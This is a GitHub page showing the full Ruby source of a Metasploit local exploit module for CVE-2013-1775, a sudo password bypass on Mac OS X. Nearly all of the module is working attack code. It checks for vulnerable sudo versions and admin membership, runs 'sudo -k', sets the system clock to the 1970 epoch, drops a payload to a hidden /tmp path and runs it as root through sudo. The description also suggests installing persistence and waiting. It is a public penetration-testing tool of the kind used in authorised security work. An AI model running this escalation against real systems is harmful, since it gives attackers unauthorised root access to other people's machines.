-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
sudo_password_bypass.rb
265 lines (228 loc) · 8.73 KB
/
sudo_password_bypass.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'shellwords'
class MetasploitModule < Msf::Exploit::Local
# ManualRanking because it's going to modify system time
# Even when it will try to restore things, user should use
# it at his own risk
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"
VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]
CMD_TIMEOUT = 45
# saved clock config
attr_accessor :clock_changed, :date, :network_server, :networked, :time, :zone
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X Sudo Password Bypass',
'Description' => %q{
This module gains a session with root permissions on versions of OS X with
sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4,
and possibly lower versions.
If your session belongs to a user with Administrative Privileges
(the user is in the sudoers file and is in the "admin group"), and the
user has ever run the "sudo" command, it is possible to become the super
user by running `sudo -k` and then resetting the system clock to 01-01-1970.
This module will fail silently if the user is not an admin, if the user has never
run the sudo command, or if the admin has locked the Date/Time preferences.
Note: If the user has locked the Date/Time preferences, requests to overwrite
the system clock will be ignored, and the module will silently fail. However,
if the "Require an administrator password to access locked preferences" setting
is not enabled, the Date/Time preferences are often unlocked every time the admin
logs in, so you can install persistence and wait for a chance later.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Todd C. Miller', # Vulnerability discovery
'joev', # Metasploit module
'juan vazquez' # testing/fixing module bugs
],
'References' =>
[
[ 'CVE', '2013-1775' ],
[ 'OSVDB', '90677' ],
[ 'BID', '58203' ],
[ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ]
],
'Platform' => 'osx',
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86
}
],
[ 'Mac OS X x64 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X64
}
],
[ 'CMD',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2013-02-28'
))
register_advanced_options([
OptString.new('TMP_FILE',
[true,'For the native targets, specifies the path that '+
'the executable will be dropped on the client machine.',
'/tmp/.<random>/<random>']
),
])
end
# ensure target is vulnerable by checking sudo vn and checking
# user is in admin group.
def check
if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/
sudo_vn = $1
sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i)
# check vn between 1.6.0 through 1.7.10p6
# and 1.8.0 through 1.8.6p6
if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)
vprint_error "sudo version #{sudo_vn} not vulnerable."
return CheckCode::Safe
end
else
vprint_error "sudo not detected on the system."
return CheckCode::Safe
end
# check that the user is in OSX's admin group, necessary to change sys clock
unless is_admin?
vprint_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
return CheckCode::Safe
end
# one root for you sir
CheckCode::Vulnerable
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless is_admin?
fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."
end
if check != CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
# "remember" the current system time/date/network/zone
print_good("User is an admin, continuing...")
print_status("Saving system clock config...")
@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]
@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]
@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)
@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]
@network_server = if @networked
cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]
end
run_sudo_cmd
end
def cleanup
if @clock_changed
print_status("Resetting system clock to original values") if @time
cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?
cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?
cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?
if @networked
cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")
unless @network_server.nil?
cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")
end
end
print_good("Completed clock reset.")
else
print_status "Skipping cleanup since the clock was never changed"
end
super
end
private
def run_sudo_cmd
print_status("Resetting user's time stamp file and setting clock to the epoch")
cmd_exec(
"sudo -k; \n"+
"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+
" -setdate 01:01:1970 -settime 00:00"
)
if not cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match("1/1/1970")
fail_with(Failure::NoAccess, "Date and time preference pane appears to be locked. By default, this pane is unlocked upon login.")
else
@clock_changed = true
end
# drop the payload (unless CMD)
if using_native_target?
cmd_exec("mkdir -p #{File.dirname(drop_path)}")
write_file(drop_path, generate_payload_exe)
register_files_for_cleanup(drop_path)
cmd_exec("chmod +x #{[drop_path].shelljoin}")
print_status("Payload dropped and registered for cleanup")
end
# Run Test
test = rand_text_alpha(4 + rand(4))
sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ')
print_status("Testing that user has sudoed before...")
output = cmd_exec('echo "" | ' + sudo_cmd_test)
if output =~ /incorrect password attempts\s*$/i
fail_with(Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.")
elsif output =~ /#{test}/
print_good("Test executed succesfully. Running payload.")
else
print_error("Unknown fail while testing, trying to execute the payload anyway...")
end
# Run Payload
sudo_cmd_raw = if using_native_target?
['sudo', '-S', [drop_path].shelljoin].join(' ')
elsif using_cmd_target?
['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ')
end
## to prevent the password prompt from destroying session
## backgrounding the sudo payload in order to keep both sessions usable
sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true'
print_status "Running command: "
print_line sudo_cmd
output = cmd_exec(sudo_cmd)
end
# default cmd_exec timeout to CMD_TIMEOUT constant
def cmd_exec(cmd, args=nil, timeout=CMD_TIMEOUT)
super
end
# helper methods for accessing datastore
def using_native_target?
target.name =~ /native/i
end
def using_cmd_target?
target.name =~ /cmd/i
end
def drop_path
@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }
end
# helper methods for dealing with sudo's vn num
def parse_vn(vn_str)
vn_str.split(/[\.p]/).map(&:to_i)
end
def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']])
vn_parts = parse_vn(vn)
ranges.any? do |range|
min_parts = parse_vn(range[0])
max_parts = parse_vn(range[1])
vn_parts.all? do |part|
min = min_parts.shift
max = max_parts.shift
(min.nil? or (not part.nil? and part >= min)) and
(part.nil? or (not max.nil? and part <= max))
end
end
end
end